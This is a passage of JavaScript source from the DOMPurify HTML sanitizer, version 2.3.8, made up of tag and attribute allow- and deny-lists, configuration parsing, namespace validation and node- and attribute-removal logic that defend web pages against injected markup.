      'feMerge',
      'feMergeNode',
      'feMorphology',
      'feOffset',
      'fePointLight',
      'feSpecularLighting',
      'feSpotLight',
      'feTile',
      'feTurbulence'
    ]);
    var svgDisallowed = freeze([
      'animate',
      'color-profile',
      'cursor',
      'discard',
      'fedropshadow',
      'font-face',
      'font-face-format',
      'font-face-name',
      'font-face-src',
      'font-face-uri',
      'foreignobject',
      'hatch',
      'hatchpath',
      'mesh',
      'meshgradient',
      'meshpatch',
      'meshrow',
      'missing-glyph',
      'script',
      'set',
      'solidcolor',
      'unknown',
      'use'
    ]);
    var mathMl$1 = freeze([
      'math',
      'menclose',
      'merror',
      'mfenced',
      'mfrac',
      'mglyph',
      'mi',
      'mlabeledtr',
      'mmultiscripts',
      'mn',
      'mo',
      'mover',
      'mpadded',
      'mphantom',
      'mroot',
      'mrow',
      'ms',
      'mspace',
      'msqrt',
      'mstyle',
      'msub',
      'msup',
      'msubsup',
      'mtable',
      'mtd',
      'mtext',
      'mtr',
      'munder',
      'munderover'
    ]);
    var mathMlDisallowed = freeze([
      'maction',
      'maligngroup',
      'malignmark',
      'mlongdiv',
      'mscarries',
      'mscarry',
      'msgroup',
      'mstack',
      'msline',
      'msrow',
      'semantics',
      'annotation',
      'annotation-xml',
      'mprescripts',
      'none'
    ]);
    var text = freeze(['#text']);
    var html = freeze([
      'accept',
      'action',
      'align',
      'alt',
      'autocapitalize',
      'autocomplete',
      'autopictureinpicture',
      'autoplay',
      'background',
      'bgcolor',
      'border',
      'capture',
      'cellpadding',
      'cellspacing',
      'checked',
      'cite',
      'class',
      'clear',
      'color',
      'cols',
      'colspan',
      'controls',
      'controlslist',
      'coords',
      'crossorigin',
      'datetime',
      'decoding',
      'default',
      'dir',
      'disabled',
      'disablepictureinpicture',
      'disableremoteplayback',
      'download',
      'draggable',
      'enctype',
      'enterkeyhint',
      'face',
      'for',
      'headers',
      'height',
      'hidden',
      'high',
      'href',
      'hreflang',
      'id',
      'inputmode',
      'integrity',
      'ismap',
      'kind',
      'label',
      'lang',
      'list',
      'loading',
      'loop',
      'low',
      'max',
      'maxlength',
      'media',
      'method',
      'min',
      'minlength',
      'multiple',
      'muted',
      'name',
      'nonce',
      'noshade',
      'novalidate',
      'nowrap',
      'open',
      'optimum',
      'pattern',
      'placeholder',
      'playsinline',
      'poster',
      'preload',
      'pubdate',
      'radiogroup',
      'readonly',
      'rel',
      'required',
      'rev',
      'reversed',
      'role',
      'rows',
      'rowspan',
      'spellcheck',
      'scope',
      'selected',
      'shape',
      'size',
      'sizes',
      'span',
      'srclang',
      'start',
      'src',
      'srcset',
      'step',
      'style',
      'summary',
      'tabindex',
      'title',
      'translate',
      'type',
      'usemap',
      'valign',
      'value',
      'width',
      'xmlns',
      'slot'
    ]);
    var svg = freeze([
      'accent-height',
      'accumulate',
      'additive',
      'alignment-baseline',
      'ascent',
      'attributename',
      'attributetype',
      'azimuth',
      'basefrequency',
      'baseline-shift',
      'begin',
      'bias',
      'by',
      'class',
      'clip',
      'clippathunits',
      'clip-path',
      'clip-rule',
      'color',
      'color-interpolation',
      'color-interpolation-filters',
      'color-profile',
      'color-rendering',
      'cx',
      'cy',
      'd',
      'dx',
      'dy',
      'diffuseconstant',
      'direction',
      'display',
      'divisor',
      'dur',
      'edgemode',
      'elevation',
      'end',
      'fill',
      'fill-opacity',
      'fill-rule',
      'filter',
      'filterunits',
      'flood-color',
      'flood-opacity',
      'font-family',
      'font-size',
      'font-size-adjust',
      'font-stretch',
      'font-style',
      'font-variant',
      'font-weight',
      'fx',
      'fy',
      'g1',
      'g2',
      'glyph-name',
      'glyphref',
      'gradientunits',
      'gradienttransform',
      'height',
      'href',
      'id',
      'image-rendering',
      'in',
      'in2',
      'k',
      'k1',
      'k2',
      'k3',
      'k4',
      'kerning',
      'keypoints',
      'keysplines',
      'keytimes',
      'lang',
      'lengthadjust',
      'letter-spacing',
      'kernelmatrix',
      'kernelunitlength',
      'lighting-color',
      'local',
      'marker-end',
      'marker-mid',
      'marker-start',
      'markerheight',
      'markerunits',
      'markerwidth',
      'maskcontentunits',
      'maskunits',
      'max',
      'mask',
      'media',
      'method',
      'mode',
      'min',
      'name',
      'numoctaves',
      'offset',
      'operator',
      'opacity',
      'order',
      'orient',
      'orientation',
      'origin',
      'overflow',
      'paint-order',
      'path',
      'pathlength',
      'patterncontentunits',
      'patterntransform',
      'patternunits',
      'points',
      'preservealpha',
      'preserveaspectratio',
      'primitiveunits',
      'r',
      'rx',
      'ry',
      'radius',
      'refx',
      'refy',
      'repeatcount',
      'repeatdur',
      'restart',
      'result',
      'rotate',
      'scale',
      'seed',
      'shape-rendering',
      'specularconstant',
      'specularexponent',
      'spreadmethod',
      'startoffset',
      'stddeviation',
      'stitchtiles',
      'stop-color',
      'stop-opacity',
      'stroke-dasharray',
      'stroke-dashoffset',
      'stroke-linecap',
      'stroke-linejoin',
      'stroke-miterlimit',
      'stroke-opacity',
      'stroke',
      'stroke-width',
      'style',
      'surfacescale',
      'systemlanguage',
      'tabindex',
      'targetx',
      'targety',
      'transform',
      'transform-origin',
      'text-anchor',
      'text-decoration',
      'text-rendering',
      'textlength',
      'type',
      'u1',
      'u2',
      'unicode',
      'values',
      'viewbox',
      'visibility',
      'version',
      'vert-adv-y',
      'vert-origin-x',
      'vert-origin-y',
      'width',
      'word-spacing',
      'wrap',
      'writing-mode',
      'xchannelselector',
      'ychannelselector',
      'x',
      'x1',
      'x2',
      'xmlns',
      'y',
      'y1',
      'y2',
      'z',
      'zoomandpan'
    ]);
    var mathMl = freeze([
      'accent',
      'accentunder',
      'align',
      'bevelled',
      'close',
      'columnsalign',
      'columnlines',
      'columnspan',
      'denomalign',
      'depth',
      'dir',
      'display',
      'displaystyle',
      'encoding',
      'fence',
      'frame',
      'height',
      'href',
      'id',
      'largeop',
      'length',
      'linethickness',
      'lspace',
      'lquote',
      'mathbackground',
      'mathcolor',
      'mathsize',
      'mathvariant',
      'maxsize',
      'minsize',
      'movablelimits',
      'notation',
      'numalign',
      'open',
      'rowalign',
      'rowlines',
      'rowspacing',
      'rowspan',
      'rspace',
      'rquote',
      'scriptlevel',
      'scriptminsize',
      'scriptsizemultiplier',
      'selection',
      'separator',
      'separators',
      'stretchy',
      'subscriptshift',
      'supscriptshift',
      'symmetric',
      'voffset',
      'width',
      'xmlns'
    ]);
    var xml = freeze([
      'xlink:href',
      'xml:id',
      'xlink:title',
      'xml:space',
      'xmlns:xlink'
    ]);
    var MUSTACHE_EXPR = seal(/\{\{[\w\W]*|[\w\W]*\}\}/gm);
    var ERB_EXPR = seal(/<%[\w\W]*|[\w\W]*%>/gm);
    var DATA_ATTR = seal(/^data-[\-\w.\u00B7-\uFFFF]/);
    var ARIA_ATTR = seal(/^aria-[\-\w]+$/);
    var IS_ALLOWED_URI = seal(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i);
    var IS_SCRIPT_OR_DATA = seal(/^(?:\w+script|data):/i);
    var ATTR_WHITESPACE = seal(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g);
    var DOCTYPE_NAME = seal(/^html$/i);
    var getGlobal = function getGlobal() {
      return typeof window === 'undefined' ? null : window;
    };
    var _createTrustedTypesPolicy = function _createTrustedTypesPolicy(trustedTypes, document) {
      if (_typeof(trustedTypes) !== 'object' || typeof trustedTypes.createPolicy !== 'function') {
        return null;
      }
      var suffix = null;
      var ATTR_NAME = 'data-tt-policy-suffix';
      if (document.currentScript && document.currentScript.hasAttribute(ATTR_NAME)) {
        suffix = document.currentScript.getAttribute(ATTR_NAME);
      }
      var policyName = 'dompurify' + (suffix ? '#' + suffix : '');
      try {
        return trustedTypes.createPolicy(policyName, {
          createHTML: function createHTML(html) {
            return html;
          }
        });
      } catch (_) {
        console.warn('TrustedTypes policy ' + policyName + ' could not be created.');
        return null;
      }
    };
    function createDOMPurify() {
      var window = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : getGlobal();
      var DOMPurify = function DOMPurify(root) {
        return createDOMPurify(root);
      };
      DOMPurify.version = '2.3.8';
      DOMPurify.removed = [];
      if (!window || !window.document || window.document.nodeType !== 9) {
        DOMPurify.isSupported = false;
        return DOMPurify;
      }
      var originalDocument = window.document;
      var document = window.document;
      var DocumentFragment = window.DocumentFragment, HTMLTemplateElement = window.HTMLTemplateElement, Node = window.Node, Element = window.Element, NodeFilter = window.NodeFilter, _window$NamedNodeMap = window.NamedNodeMap, NamedNodeMap = _window$NamedNodeMap === void 0 ? window.NamedNodeMap || window.MozNamedAttrMap : _window$NamedNodeMap, HTMLFormElement = window.HTMLFormElement, DOMParser = window.DOMParser, trustedTypes = window.trustedTypes;
      var ElementPrototype = Element.prototype;
      var cloneNode = lookupGetter(ElementPrototype, 'cloneNode');
      var getNextSibling = lookupGetter(ElementPrototype, 'nextSibling');
      var getChildNodes = lookupGetter(ElementPrototype, 'childNodes');
      var getParentNode = lookupGetter(ElementPrototype, 'parentNode');
      if (typeof HTMLTemplateElement === 'function') {
        var template = document.createElement('template');
        if (template.content && template.content.ownerDocument) {
          document = template.content.ownerDocument;
        }
      }
      var trustedTypesPolicy = _createTrustedTypesPolicy(trustedTypes, originalDocument);
      var emptyHTML = trustedTypesPolicy ? trustedTypesPolicy.createHTML('') : '';
      var _document = document, implementation = _document.implementation, createNodeIterator = _document.createNodeIterator, createDocumentFragment = _document.createDocumentFragment, getElementsByTagName = _document.getElementsByTagName;
      var importNode = originalDocument.importNode;
      var documentMode = {};
      try {
        documentMode = clone(document).documentMode ? document.documentMode : {};
      } catch (_) {
      }
      var hooks = {};
      DOMPurify.isSupported = typeof getParentNode === 'function' && implementation && typeof implementation.createHTMLDocument !== 'undefined' && documentMode !== 9;
      var MUSTACHE_EXPR$1 = MUSTACHE_EXPR, ERB_EXPR$1 = ERB_EXPR, DATA_ATTR$1 = DATA_ATTR, ARIA_ATTR$1 = ARIA_ATTR, IS_SCRIPT_OR_DATA$1 = IS_SCRIPT_OR_DATA, ATTR_WHITESPACE$1 = ATTR_WHITESPACE;
      var IS_ALLOWED_URI$1 = IS_ALLOWED_URI;
      var ALLOWED_TAGS = null;
      var DEFAULT_ALLOWED_TAGS = addToSet({}, [].concat(_toConsumableArray(html$1), _toConsumableArray(svg$1), _toConsumableArray(svgFilters), _toConsumableArray(mathMl$1), _toConsumableArray(text)));
      var ALLOWED_ATTR = null;
      var DEFAULT_ALLOWED_ATTR = addToSet({}, [].concat(_toConsumableArray(html), _toConsumableArray(svg), _toConsumableArray(mathMl), _toConsumableArray(xml)));
      var CUSTOM_ELEMENT_HANDLING = Object.seal(Object.create(null, {
        tagNameCheck: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: null
        },
        attributeNameCheck: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: null
        },
        allowCustomizedBuiltInElements: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: false
        }
      }));
      var FORBID_TAGS = null;
      var FORBID_ATTR = null;
      var ALLOW_ARIA_ATTR = true;
      var ALLOW_DATA_ATTR = true;
      var ALLOW_UNKNOWN_PROTOCOLS = false;
      var SAFE_FOR_TEMPLATES = false;
      var WHOLE_DOCUMENT = false;
      var SET_CONFIG = false;
      var FORCE_BODY = false;
      var RETURN_DOM = false;
      var RETURN_DOM_FRAGMENT = false;
      var RETURN_TRUSTED_TYPE = false;
      var SANITIZE_DOM = true;
      var KEEP_CONTENT = true;
      var IN_PLACE = false;
      var USE_PROFILES = {};
      var FORBID_CONTENTS = null;
      var DEFAULT_FORBID_CONTENTS = addToSet({}, [
        'annotation-xml',
        'audio',
        'colgroup',
        'desc',
        'foreignobject',
        'head',
        'iframe',
        'math',
        'mi',
        'mn',
        'mo',
        'ms',
        'mtext',
        'noembed',
        'noframes',
        'noscript',
        'plaintext',
        'script',
        'style',
        'svg',
        'template',
        'thead',
        'title',
        'video',
        'xmp'
      ]);
      var DATA_URI_TAGS = null;
      var DEFAULT_DATA_URI_TAGS = addToSet({}, [
        'audio',
        'video',
        'img',
        'source',
        'image',
        'track'
      ]);
      var URI_SAFE_ATTRIBUTES = null;
      var DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, [
        'alt',
        'class',
        'for',
        'id',
        'label',
        'name',
        'pattern',
        'placeholder',
        'role',
        'summary',
        'title',
        'value',
        'style',
        'xmlns'
      ]);
      var MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
      var SVG_NAMESPACE = 'http://www.w3.org/2000/svg';
      var HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
      var NAMESPACE = HTML_NAMESPACE;
      var IS_EMPTY_INPUT = false;
      var PARSER_MEDIA_TYPE;
      var SUPPORTED_PARSER_MEDIA_TYPES = [
        'application/xhtml+xml',
        'text/html'
      ];
      var DEFAULT_PARSER_MEDIA_TYPE = 'text/html';
      var transformCaseFunc;
      var CONFIG = null;
      var formElement = document.createElement('form');
      var isRegexOrFunction = function isRegexOrFunction(testValue) {
        return testValue instanceof RegExp || testValue instanceof Function;
      };
      var _parseConfig = function _parseConfig(cfg) {
        if (CONFIG && CONFIG === cfg) {
          return;
        }
        if (!cfg || _typeof(cfg) !== 'object') {
          cfg = {};
        }
        cfg = clone(cfg);
        ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS;
        ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
        URI_SAFE_ATTRIBUTES = 'ADD_URI_SAFE_ATTR' in cfg ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES), cfg.ADD_URI_SAFE_ATTR) : DEFAULT_URI_SAFE_ATTRIBUTES;
        DATA_URI_TAGS = 'ADD_DATA_URI_TAGS' in cfg ? addToSet(clone(DEFAULT_DATA_URI_TAGS), cfg.ADD_DATA_URI_TAGS) : DEFAULT_DATA_URI_TAGS;
        FORBID_CONTENTS = 'FORBID_CONTENTS' in cfg ? addToSet({}, cfg.FORBID_CONTENTS) : DEFAULT_FORBID_CONTENTS;
        FORBID_TAGS = 'FORBID_TAGS' in cfg ? addToSet({}, cfg.FORBID_TAGS) : {};
        FORBID_ATTR = 'FORBID_ATTR' in cfg ? addToSet({}, cfg.FORBID_ATTR) : {};
        USE_PROFILES = 'USE_PROFILES' in cfg ? cfg.USE_PROFILES : false;
        ALLOW_ARIA_ATTR = cfg.ALLOW_ARIA_ATTR !== false;
        ALLOW_DATA_ATTR = cfg.ALLOW_DATA_ATTR !== false;
        ALLOW_UNKNOWN_PROTOCOLS = cfg.ALLOW_UNKNOWN_PROTOCOLS || false;
        SAFE_FOR_TEMPLATES = cfg.SAFE_FOR_TEMPLATES || false;
        WHOLE_DOCUMENT = cfg.WHOLE_DOCUMENT || false;
        RETURN_DOM = cfg.RETURN_DOM || false;
        RETURN_DOM_FRAGMENT = cfg.RETURN_DOM_FRAGMENT || false;
        RETURN_TRUSTED_TYPE = cfg.RETURN_TRUSTED_TYPE || false;
        FORCE_BODY = cfg.FORCE_BODY || false;
        SANITIZE_DOM = cfg.SANITIZE_DOM !== false;
        KEEP_CONTENT = cfg.KEEP_CONTENT !== false;
        IN_PLACE = cfg.IN_PLACE || false;
        IS_ALLOWED_URI$1 = cfg.ALLOWED_URI_REGEXP || IS_ALLOWED_URI$1;
        NAMESPACE = cfg.NAMESPACE || HTML_NAMESPACE;
        if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck)) {
          CUSTOM_ELEMENT_HANDLING.tagNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck;
        }
        if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)) {
          CUSTOM_ELEMENT_HANDLING.attributeNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck;
        }
        if (cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements === 'boolean') {
          CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements = cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements;
        }
        PARSER_MEDIA_TYPE = SUPPORTED_PARSER_MEDIA_TYPES.indexOf(cfg.PARSER_MEDIA_TYPE) === -1 ? PARSER_MEDIA_TYPE = DEFAULT_PARSER_MEDIA_TYPE : PARSER_MEDIA_TYPE = cfg.PARSER_MEDIA_TYPE;
        transformCaseFunc = PARSER_MEDIA_TYPE === 'application/xhtml+xml' ? function (x) {
          return x;
        } : stringToLowerCase;
        if (SAFE_FOR_TEMPLATES) {
          ALLOW_DATA_ATTR = false;
        }
        if (RETURN_DOM_FRAGMENT) {
          RETURN_DOM = true;
        }
        if (USE_PROFILES) {
          ALLOWED_TAGS = addToSet({}, _toConsumableArray(text));
          ALLOWED_ATTR = [];
          if (USE_PROFILES.html === true) {
            addToSet(ALLOWED_TAGS, html$1);
            addToSet(ALLOWED_ATTR, html);
          }
          if (USE_PROFILES.svg === true) {
            addToSet(ALLOWED_TAGS, svg$1);
            addToSet(ALLOWED_ATTR, svg);
            addToSet(ALLOWED_ATTR, xml);
          }
          if (USE_PROFILES.svgFilters === true) {
            addToSet(ALLOWED_TAGS, svgFilters);
            addToSet(ALLOWED_ATTR, svg);
            addToSet(ALLOWED_ATTR, xml);
          }
          if (USE_PROFILES.mathMl === true) {
            addToSet(ALLOWED_TAGS, mathMl$1);
            addToSet(ALLOWED_ATTR, mathMl);
            addToSet(ALLOWED_ATTR, xml);
          }
        }
        if (cfg.ADD_TAGS) {
          if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {
            ALLOWED_TAGS = clone(ALLOWED_TAGS);
          }
          addToSet(ALLOWED_TAGS, cfg.ADD_TAGS);
        }
        if (cfg.ADD_ATTR) {
          if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
            ALLOWED_ATTR = clone(ALLOWED_ATTR);
          }
          addToSet(ALLOWED_ATTR, cfg.ADD_ATTR);
        }
        if (cfg.ADD_URI_SAFE_ATTR) {
          addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR);
        }
        if (cfg.FORBID_CONTENTS) {
          if (FORBID_CONTENTS === DEFAULT_FORBID_CONTENTS) {
            FORBID_CONTENTS = clone(FORBID_CONTENTS);
          }
          addToSet(FORBID_CONTENTS, cfg.FORBID_CONTENTS);
        }
        if (KEEP_CONTENT) {
          ALLOWED_TAGS['#text'] = true;
        }
        if (WHOLE_DOCUMENT) {
          addToSet(ALLOWED_TAGS, [
            'html',
            'head',
            'body'
          ]);
        }
        if (ALLOWED_TAGS.table) {
          addToSet(ALLOWED_TAGS, ['tbody']);
          delete FORBID_TAGS.tbody;
        }
        if (freeze) {
          freeze(cfg);
        }
        CONFIG = cfg;
      };
      var MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, [
        'mi',
        'mo',
        'mn',
        'ms',
        'mtext'
      ]);
      var HTML_INTEGRATION_POINTS = addToSet({}, [
        'foreignobject',
        'desc',
        'title',
        'annotation-xml'
      ]);
      var COMMON_SVG_AND_HTML_ELEMENTS = addToSet({}, [
        'title',
        'style',
        'font',
        'a',
        'script'
      ]);
      var ALL_SVG_TAGS = addToSet({}, svg$1);
      addToSet(ALL_SVG_TAGS, svgFilters);
      addToSet(ALL_SVG_TAGS, svgDisallowed);
      var ALL_MATHML_TAGS = addToSet({}, mathMl$1);
      addToSet(ALL_MATHML_TAGS, mathMlDisallowed);
      var _checkValidNamespace = function _checkValidNamespace(element) {
        var parent = getParentNode(element);
        if (!parent || !parent.tagName) {
          parent = {
            namespaceURI: HTML_NAMESPACE,
            tagName: 'template'
          };
        }
        var tagName = stringToLowerCase(element.tagName);
        var parentTagName = stringToLowerCase(parent.tagName);
        if (element.namespaceURI === SVG_NAMESPACE) {
          if (parent.namespaceURI === HTML_NAMESPACE) {
            return tagName === 'svg';
          }
          if (parent.namespaceURI === MATHML_NAMESPACE) {
            return tagName === 'svg' && (parentTagName === 'annotation-xml' || MATHML_TEXT_INTEGRATION_POINTS[parentTagName]);
          }
          return Boolean(ALL_SVG_TAGS[tagName]);
        }
        if (element.namespaceURI === MATHML_NAMESPACE) {
          if (parent.namespaceURI === HTML_NAMESPACE) {
            return tagName === 'math';
          }
          if (parent.namespaceURI === SVG_NAMESPACE) {
            return tagName === 'math' && HTML_INTEGRATION_POINTS[parentTagName];
          }
          return Boolean(ALL_MATHML_TAGS[tagName]);
        }
        if (element.namespaceURI === HTML_NAMESPACE) {
          if (parent.namespaceURI === SVG_NAMESPACE && !HTML_INTEGRATION_POINTS[parentTagName]) {
            return false;
          }
          if (parent.namespaceURI === MATHML_NAMESPACE && !MATHML_TEXT_INTEGRATION_POINTS[parentTagName]) {
            return false;
          }
          return !ALL_MATHML_TAGS[tagName] && (COMMON_SVG_AND_HTML_ELEMENTS[tagName] || !ALL_SVG_TAGS[tagName]);
        }
        return false;
      };
      var _forceRemove = function _forceRemove(node) {
        arrayPush(DOMPurify.removed, { element: node });
        try {
          node.parentNode.removeChild(node);
        } catch (_) {
          try {
            node.outerHTML = emptyHTML;
          } catch (_) {
            node.remove();
          }
        }
      };
      var _removeAttribute = function _removeAttribute(name, node) {
        try {
          arrayPush(DOMPurify.removed, {
            attribute: node.getAttributeNode(name),
            from: node
          });
        } catch (_) {
          arrayPush(DOMPurify.removed, {
            attribute: null,
            from: node
          });
        }
        node.removeAttribute(name);
        if (name === 'is' && !ALLOWED_ATTR[name]) {
          if (RETURN_DOM || RETURN_DOM_FRAGMENT) {
            try {
              _forceRemove(node);
            } catch (_) {
            }
          } else {
            try {
              node.setAttribute(name, '');
            } catch (_) {
            }
          }
        }
      };
      var _initDocument = function _initDocument(dirty) {
        var doc;
        var leadingWhitespace;
        if (FORCE_BODY) {
          dirty = '<remove></remove>' + dirty;
        } else {
          var matches = stringMatch(dirty, /^[\r\n\t ]+/);
          leadingWhitespace = matches && matches[0];
        }
        if (PARSER_MEDIA_TYPE === 'application/xhtml+xml') {
          dirty = '<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>' + dirty + '</body></html>';
        }
        var dirtyPayload = trustedTypesPolicy ? trustedTypesPolicy.createHTML(dirty) : dirty;
        if (NAMESPACE === HTML_NAMESPACE) {
          try {
            doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
          } catch (_) {
          }
        }
        if (!doc || !doc.documentElement) {
          doc = implementation.createDocument(NAMESPACE, 'template', null);
          try {
            doc.documentElement.innerHTML = IS_EMPTY_INPUT ? '' : dirtyPayload;
          } catch (_) {
          }
        }
        var body = doc.body || doc.documentElement;
        if (dirty && leadingWhitespace) {
          body.insertBefore(document.createTextNode(leadingWhitespace), body.childNodes[0] || null);
        }
        if (NAMESPACE === HTML_NAMESPACE) {
          return getElementsByTagName.call(doc, WHOLE_DOCUMENT ? 'html' : 'body')[0];
        }
        return WHOLE_DOCUMENT ? doc.documentElement : body;
      };
      var _createIterator = function _createIterator(root) {
        return createNodeIterator.call(root.ownerDocument || root, root, NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT, null, false);
      };
      var _isClobbered = function _isClobbered(elm) {
        return elm instanceof HTMLFormElement && (typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.removeChild !== 'function' || !(elm.attributes instanceof NamedNodeMap) || typeof elm.removeAttribute !== 'function' || typeof elm.setAttribute !== 'function' || typeof elm.namespaceURI !== 'string' || typeof elm.insertBefore !== 'function');
      };
      var _isNode = function _isNode(object) {
        return _typeof(Node) === 'object' ? object instanceof Node : object && _typeof(object) === 'object' && typeof object.nodeType === 'number' && typeof object.nodeName === 'string';
      };
      var _executeHook = function _executeHook(entryPoint, currentNode, data) {
        if (!hooks[entryPoint]) {
          return;
        }
        arrayForEach(hooks[entryPoint], function (hook) {
          hook.call(DOMPurify, currentNode, data, CONFIG);
        });
      };
      var _sanitizeElements = function _sanitizeElements(currentNode) {
        var content;
        _executeHook('beforeSanitizeElements', currentNode, null);
        if (_isClobbered(currentNode)) {
          _forceRemove(currentNode);
          return true;
        }
        if (regExpTest(/[\u0080-\uFFFF]/, currentNode.nodeName)) {
          _forceRemove(currentNode);
          return true;
        }
        var tagName = transformCaseFunc(currentNode.nodeName);
        _executeHook('uponSanitizeElement', currentNode, {
          tagName: tagName,
          allowedTags: ALLOWED_TAGS
        });
        if (currentNode.hasChildNodes() && !_isNode(currentNode.firstElementChild) && (!_isNode(currentNode.content) || !_isNode(currentNode.content.firstElementChild)) && regExpTest(/<[/\w]/g, currentNode.innerHTML) && regExpTest(/<[/\w]/g, currentNode.textContent)) {
          _forceRemove(currentNode);
          return true;
        }
        if (tagName === 'select' && regExpTest(/<template/i, currentNode.innerHTML)) {
          _forceRemove(currentNode);
          return true;
        }
        if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
          if (!FORBID_TAGS[tagName] && _basicCustomElementTest(tagName)) {
            if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName))
              return false;
            if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName))
              return false;
          }
          if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
            var parentNode = getParentNode(currentNode) || currentNode.parentNode;
            var childNodes = getChildNodes(currentNode) || currentNode.childNodes;
            if (childNodes && parentNode) {
              var childCount = childNodes.length;
              for (var i = childCount - 1; i >= 0; --i) {
                parentNode.insertBefore(cloneNode(childNodes[i], true), getNextSibling(currentNode));
              }
            }
          }
          _forceRemove(currentNode);
          return true;
        }
        if (currentNode instanceof Element && !_checkValidNamespace(currentNode)) {
          _forceRemove(currentNode);
          return true;
        }
        if ((tagName === 'noscript' || tagName === 'noembed') && regExpTest(/<\/no(script|embed)/i, currentNode.innerHTML)) {
          _forceRemove(currentNode);
          return true;
        }
        if (SAFE_FOR_TEMPLATES && currentNode.nodeType === 3) {
          content = currentNode.textContent;
          content = stringReplace(content, MUSTACHE_EXPR$1, ' ');
          content = stringReplace(content, ERB_EXPR$1, ' ');
          if (currentNode.textContent !== content) {
            arrayPush(DOMPurify.removed, { element: currentNode.cloneNode() });
            currentNode.textContent = content;
          }
        }
        _executeHook('afterSanitizeElements', currentNode, null);
        return false;
      };
      var _isValidAttribute = function _isValidAttribute(lcTag, lcName, value) {
        if (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) {
          return false;
        }
        if (ALLOW_DATA_ATTR && !FORBID_ATTR[lcName] && regExpTest(DATA_ATTR$1, lcName));
        else if (ALLOW_ARIA_ATTR && regExpTest(ARIA_ATTR$1, lcName));
        else if (!ALLOWED_ATTR[lcName] || FORBID_ATTR[lcName]) {
          if (_basicCustomElementTest(lcTag) && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, lcTag) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(lcTag)) && (CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.attributeNameCheck, lcName) || CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.attributeNameCheck(lcName)) || lcName === 'is' && CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, value) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(value)));
          else {
            return false;
          }
        } else if (URI_SAFE_ATTRIBUTES[lcName]);
        else if (regExpTest(IS_ALLOWED_URI$1, stringReplace(value, ATTR_WHITESPACE$1, '')));
        else if ((lcName === 'src' || lcName === 'xlink:href' || lcName === 'href') && lcTag !== 'script' && stringIndexOf(value, 'data:') === 0 && DATA_URI_TAGS[lcTag]);
        else if (ALLOW_UNKNOWN_PROTOCOLS && !regExpTest(IS_SCRIPT_OR_DATA$1, stringReplace(value, ATTR_WHITESPACE$1, '')));
        else if (!value);
        else {
          return false;
        }
        return true;
      };
      var _basicCustomElementTest = function _basicCustomElementTest(tagName) {
        return tagName.indexOf('-') > 0;
      };
      var _sanitizeAttributes = function _sanitizeAttributes(currentNode) {
        var attr;
        var value;
        var lcName;
        var l;
        _executeHook('beforeSanitizeAttributes', currentNode, null);
        var attributes = currentNode.attributes;
        if (!attributes) {
          return;
        }
        var hookEvent = {
          attrName: '',
          attrValue: '',
          keepAttr: true,
          allowedAttributes: ALLOWED_ATTR
        };
        l = attributes.length;
        while (l--) {
          attr = attributes[l];
          var _attr = attr, name = _attr.name, namespaceURI = _attr.namespaceURI;
          value = name === 'value' ? attr.value : stringTrim(attr.value);
          lcName = transformCaseFunc(name);
          var initValue = value;
          hookEvent.attrName = lcName;
          hookEvent.attrValue = value;
          hookEvent.keepAttr = true;
          hookEvent.forceKeepAttr = undefined;
          _executeHook('uponSanitizeAttribute', currentNode, hookEvent);
          value = hookEvent.attrValue;
          if (hookEvent.forceKeepAttr) {
            continue;
          }
